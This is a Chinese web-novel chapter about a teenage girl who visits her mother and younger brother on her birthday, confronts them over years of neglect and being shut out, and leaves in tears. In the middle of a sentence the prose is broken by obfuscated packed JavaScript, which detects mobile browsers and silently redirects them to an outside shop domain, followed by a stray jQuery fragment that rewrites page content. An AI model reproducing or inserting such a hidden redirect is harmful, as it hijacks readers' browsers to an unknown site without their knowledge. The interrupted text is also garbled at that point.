芦花岛到海观县有定点巴士，十五分钟一趟，车程一个半小时左右。
淙夏走出海观汽车站是上午十点钟，她没有给妈妈柳玫打电话，也没有搭车去玉兰小区，而是戴着耳机独自逛起附近的步行街和花鸟市场。
海观以前是市GDP排行倒数第三的县城，和芦花岛一样靠贩卖海鲜为主要收入来源，后来得市政府政策扶持，发展起海边旅游业，经济水准逐步稳升，但天花板就在那儿，再升也不会富到哪里去。
淙夏的爸爸姜东凯早早意识到这一点，舍下海观的房子和手头的木匠工作，被熟人介绍去霖西，说大城市有更多挣钱的机会。
确实挣到钱了。
姜东凯勤快踏实，手艺又好，不到一年就跟木匠师傅借钱盘下店面，开了手工家具店。店铺起步阶段单子多，琐事忙，又没有多余闲钱再招工，姜东凯给柳玫打电话，和妻子商量着过来霖西帮忙顾店。
那年淙夏六岁，弟弟姜煦一岁，柳玫放心不下孩子，想把两个都带去，姜东凯制止了她。
大城市抚养一个孩子的费用已经高到离谱，何况淙夏到了上小学的年纪，吃穿用度更是一笔花销。
夫妻俩在电话的两端各自沉默许久，第二天清早，柳枚带走小儿子，把淙夏留给了婆婆翁秀华。
六岁到十四岁的区间，淙夏对父母的印象是很模糊的，那段记忆像在她的大脑里自动断片，唯一印象只有来自霖西的一串电话号码，从一周打来一次，到半个月一次，两个月，半年，最后一年一次。
父母总是在忙，总是没空回家，亲戚们口中姜家的生意越做越大，除夕给淙夏带回的礼物越来越贵。
漂亮的裙子，精致的玩偶，光鲜亮丽却又无比陌生的爸爸和妈妈，以及被爸妈牵着手，即使用遥控飞机砸到淙夏的脑袋也不会向她道歉的小魔王弟弟，这是淙夏整个成长期里，关于‘家’的全部印象。
父母真的很忙吗？
为什么在港城上大学的堂姐说碰见他们带着弟弟去迪士尼呢？
应该是很忙的吧。
毕竟她的生日只有礼物，从来没有当面的一句“生日快乐”。
淙夏从来不觉得自己是社会新闻里孤单可怜的‘留守儿童’，正相反，她的童年恣意快乐，摸鱼捉虾，爬树下海，鸡飞狗跳三人组没有在她人生的任何重要时刻缺席，翁秀华的疼护也没有让她觉得自己缺爱过。
她考着满分试卷，拿着年级第一，特别酷地告诉赵青提，她不需要父母，不需要传统意义上的‘家’。
直到初二升初三的暑假，柳玫打来电话，说要接她去霖西读书，已经为她铺好路，打点好人际关系，可以给她提供更优渥的生活环境和更优质的教学资源，最重要的是，他们一家人终于可以住在一起。
淙夏发现她对赵青提撒谎了。
怎么可能有小孩儿不渴望父母呢？只是心里清楚自己是被抛弃掉的那个，才会嘴硬地说不想要。
所以十四岁的夏天结束后，她离开翁秀华，忐忑不安，又抱有一丝期待地去了霖西。
-
淙夏掐着时间，在十一点半按响姜家的门铃。
姜东凯在海观的房子买得很早，老小区没有装电梯，采光和通风都不太好，淙夏爬完六层楼，闷出一身汗，边拎着短袖后背的布料散热，边等人来给她开门。
不一会儿，屋内传来咚咚脚步声，门板哗地被拉开，弟弟姜煦穿卡通T和短裤，一手拿着Switch，一手握着门把，看见她时愣了下，紧接着目光闪烁，像有点害羞，又有点开心，低声叫了句：“姐姐。”
曾经的混世小魔王变成了腼腆可爱懂礼貌的十佳小学生。
淙夏上次见他已经是半年前，感觉小孩儿又长高了一点，不过姐弟俩不常联络，关系淡薄，淙夏简单地“嗯”一声，跟在他后面进屋。
充足的空调冷气扑面而来，即刻抵消掉屋外燥热，淙夏在玄关换上一次性拖鞋，其实已经听见厨房里滋滋啦啦的炒菜声，但姜煦一动不动地站在她旁边望着她，她只好没话找话地问了句：“你妈妈呢？”
“噢，妈妈在做饭。”姜煦这才想起回厨房通知一声，“妈妈，姐姐来啦。”
柳玫系着围裙从厨房探出头，瞧见淙夏时脸上泛起笑意：“外面热不热？去客厅看电视吧，让弟弟给你拿点水果垫垫肚子，饭马上就好。”
金钱养人，柳玫这几年保养得不错，肤白鼻挺，骨相美人脸，身材一如当年窈窕，气质更加从容。
母女俩很久没见，乍一碰面，柳玫毫无嫌隙的模样让淙夏更加生疏，她随便点点头，转身去客厅。
客厅的装修格局和淙夏印象里一样，电视上放着小男生喜欢的动漫，淙夏不太想和姜煦搭话闲聊，于是假装很感兴趣地观看。
姜煦坐她旁边沙发上，抱着Switch几次扭头看她，欲言又止，最后跑回卧室拿了个东西出来，轻轻碰一碰她胳膊，献宝地递过去。
凯蒂猫的玩偶挂件，质量不错，绒毛细腻，淙夏扫一眼，问：“给我的吗？”
姜煦：“对呀。”
淙夏没接，又问：“你自己买的？”
姜煦摇摇头说：“我抓的，爸妈前两天带我去水世界玩，我在娃娃机厅抓的，还有别的，但我觉得这个最好看。”
水世界是海观最大的水上游乐园。
所以好几天前就回来了，但昨天才想到联系她。
淙夏停顿几秒，还是伸手把挂件接过来：“谢谢。”
姜煦直白地追问：“你喜欢嘛？”
“……嗯。”
得到肯定回答后，姜煦明显开心起来，自以为隐蔽地往淙夏跟前凑近一点，嘴甜地叫了声“姐姐”，一副想说什么又不知道该说什么的样子，眼巴巴地望着她。
……
淙夏觉得自己这辈子都没有办法拒绝小狗了。
指尖陷入软软的挂件绒毛里，来的路上搭筑好的心理防线开始坍塌下去一小块，她主动捡个话题问：“是不是长高了？”
“对啊对啊，”姜煦扶着沙发站起来，小身板挺得直直的，“你上次见我，我只有一米五五，现在已经一米六二啦。”
“那很棒哦，要多喝牛奶多运动。”
“嗯嗯，”小孩儿点头，眼睛亮亮地看着她，“下次见面的时候，我会努力比姐姐还要高的。”
“……”
淙夏笑一下，没有回答。
柳玫很快把饭做好，圆形餐桌摆得满满当当，看得出费了心思，冷菜热菜摆盘讲究，还有四五道硬菜，需要提前一晚备好食材。
餐桌边四把椅子，淙夏入座时望了一眼空出来的那把。
柳玫端上最后一碗汤，摘着隔热手套解释道：“你爸上午被他几个老朋友喊去钓鱼了，刚打电话说晚上才能回来……你晚上就在这住吧，我们一家人聊聊天。”
姜煦黏人地挨着姐姐坐，淙夏帮他扶了一把椅子，拒绝道：“不了，我晚上要回家遛狗。”
这理由太牵强，柳玫不由得蹙眉：“遛狗比你爸重要啊？你多久没见到你爸了。”
淙夏抬头看她：“我爸不也是钓鱼去了吗？”
“……”柳枚一下子被噎住，想说什么，顾忌着儿子在，最后没说，抽开椅子在餐桌边坐下。
气氛在之后的五分钟里变得沉默而尴尬，尴尬到让人有点消化不良。
淙夏头也不抬地认真扒饭，三人各自吃了会儿，柳玫给姜煦夹了两块排骨，筷子在半空停顿一下，又多夹一块送去淙夏碗里，破冰似的主动找话题道：“录取通知书快下来了吧？你报的什么学校？”
出高考成绩时没有问过她多少分，填报院校时没有给过她任何建议，突然来一句这样不合时宜的关心，淙夏觉得大人尬聊起来也有一种不顾别人死活的冷幽默。
她筷子绕过那块排骨，往嘴里送一根小青菜，说：“颐云大学。”
“颐云？”柳玫不太乐意，“报那么远做什么，怎么不来霖西，女孩子离家近一点更方便。”
“和霖西比起来，颐云好像离家更近吧。”
她摆明眼里只有芦花岛，柳枚抬高音量：“我说的是你在霖西的家。”
淙夏预感到接下来的用餐时间不会太愉快，她看向身侧。
“阿煦。”
“嗯？”姜煦抬头。
“你先回房间吃，”淙夏温声道，“我跟你妈妈有话要说。”
姜煦“噢”一声，乖乖地抱着碗溜下椅子。
柳玫在意淙夏刚才的称呼：“什么意思？我是他妈，不是你妈？”
她把筷子往碗沿一搁，‘啪’地清脆声响，“你天天惦记着那个小破镇子，让你来霖西像要害你一样。对，你现在还能跟你奶奶一起住，等过几年奶奶年纪大了，被你叔叔伯伯接去照顾，你回了芦花岛要住哪儿？”
淙夏吃着菜，语气轻描淡写：“住楼道啊，我又不是没住过。”
“姜淙夏！”柳玫被气到，一掌拍上桌面，脖子有些红，“那件芝麻大点的破事你要记恨多久？是，妈妈当时是做得不对，但妈妈这么多年生你养你的恩情，对你的好，你怎么不记？妈妈为了给你过生日，大清早起来买菜备菜，辛辛苦苦给你做了一大桌子，你怎么不记？”
“……”
淙夏不讲话，垂下眼帘安静地咀嚼米饭，挽在耳后的短发落下来，挡住她小半侧脸，搭在桌沿的手腕细瘦，桡骨突出得格外明显。
柳玫见她这样，心里一下子泄了气，自己的闺女总归还是心疼的，没有再咄咄逼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540159|203505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人下去，缓了片刻，她重新提起筷子：“过去的事就让它过去吧，妈妈不生你的气，你也别总跟妈妈闹情绪，放假的时候多来霖西玩一玩，住一住，你的房间还给你留着，弟弟马上要升初中了，你也能帮忙给他补补课。”
哦。
原来是因为这个。
淙夏端着饭碗笑了一声。
那笑里实在是有点嘲讽的味道，柳玫盯她：“你笑什么？”
“笑我终于有房间了。”淙夏直直地跟母亲对视着，嘴角翘起弧度，用很真诚的询问语气道，“你们现在换上大房子，我的卧室应该不会再是杂物间清理出来的了吧？”
“这……”女人被揭开短板似的，眼神闪避，气势消掉一截，“你总是不来住，房间空着也是空着，你爸爸……”
“懂了，”淙夏点点头，“所以还是杂物间。”
所以霖西哪里有她的家。
她在霖西住过的地方，明明只有杂物间和楼道。
筷尖戳两下碗里剩余的米饭，淙夏忽然一阵反胃，她再吃不下去，放下碗站起身，边收拾东西边说：“我没有花你们的钱，你们打在卡上的钱我一分没动过，所以你们只是生了我，不能说养过我。”
柳玫嘴唇动了动，想说什么，被淙夏提前截断，“我很感谢你记得我的生日，妈妈，但我早就不喜欢胡萝卜了。”
她挎上包，努力让自己笑了笑，“你做的这些菜，都是阿煦爱吃的。”
房门在身后‘砰’一声合上，淙夏以为自己做好心理准备就不会有波动，可踏出空调房，来到暴晒的日光下，炎热高温落在人身上针扎似的疼，她居然冷得齿关轻轻发抖。
为什么会是芝麻大点的破事呢？
明明就是他们欺骗了她。
说接她来一起住，却没有给她准备房间，只把装满弟弟旧玩具和木头边角料的杂物间腾出一半，放了张床进去，柳玫承诺等以后换了大房子，会给她布置最漂亮的公主房。
说让她来霖西是为了享受更加优质的教学资源，可班里同学上社团活动课，上兴趣爱好班的时候，她在帮工作忙碌的父母接送弟弟，带弟弟吃饭，给弟弟辅导功课。
说丛丛和阿煦都是妈妈的宝贝，妈妈不偏心任何一个，却在她和弟弟起冲突，不小心把弟弟推向茶几桌角，磕破额头时，拧着她的手臂把她关在门外，让她在楼道里反省到半夜。
十二月的冬夜，寒风灌满走廊，她只穿着件毛衣，左手有被弟弟用铁质文具盒砸出的淤青，右手一下下叩门，喊‘妈妈’，无人应答。
明明不喜欢、不想要她的话，不把她接去霖西就好了，为什么要冠冕堂皇地说会给她一个家？
为什么把她骗去，又冷落她？
淙夏想不明白，也懒得再想。
她在小区门口拦下一辆出租，和司机说去汽车站，车门喀嚓闭合，帆布包里的手机嗡嗡震动。
淙夏心情正差，随手划过接听，听筒对面小心翼翼地叫她：
“姐姐。”
“……”淙夏愣一下，低头看号码，没有备注，“阿煦？”
对面不吭声，安静几秒后传来一声没憋住的抽噎：“姐、姐姐，我会认真学习的，不用你补课，你别生气，别跟妈妈吵架。”
淙夏不想把矛盾牵扯到小孩儿的身上，也不想多做解释，简单地回答道：“我没有生气。”
“真的吗，”那边传来衣料摩挲的窸窣响动，像在用袖子擦眼泪，“其实这次是我想回来看你，我好久没有见过你了，给你发的消息，你也总是不回，我很想你。”
“……”
啊。
所以也不是记得她生日。
姜煦见她不说话，又擦一擦脸，小声地说：“姐姐，生日快乐。”
淙夏低头揉搓着凯蒂猫的挂件，心里五味杂陈：“谢谢你。”
姜煦犹豫了会儿，鼓足勇气继续说：“还有，还有对不起……妈妈把你赶出家门，让你睡在楼道里，是因为我，对不起。”
这小鬼隔着门板偷听，淙夏笑一下：“没关系，我说过，我没有生气。”
没有妥善处理好矛盾是大人的过失，姜煦当时也才九岁而已。
姜煦似乎还想说什么，淙夏听见那端房门打开的动静，柳玫的声音模糊传来：“宝贝在跟谁打电话呢？排骨凉了，还要不要吃？”
你看。
即使她离席，这顿名义上为她准备的生日宴依旧可以继续吃下去。
淙夏感到一阵索然无味，她摁上挂断键，扭头看向车窗外。
街景飞速后退着，一道道阳光被风速拉扯成明亮的细线，从她脸上鳞次滑过，带来刺目的轻微酸痛感。
她吸了吸鼻子，故意不看玻璃倒影，假装自己没有在掉眼泪。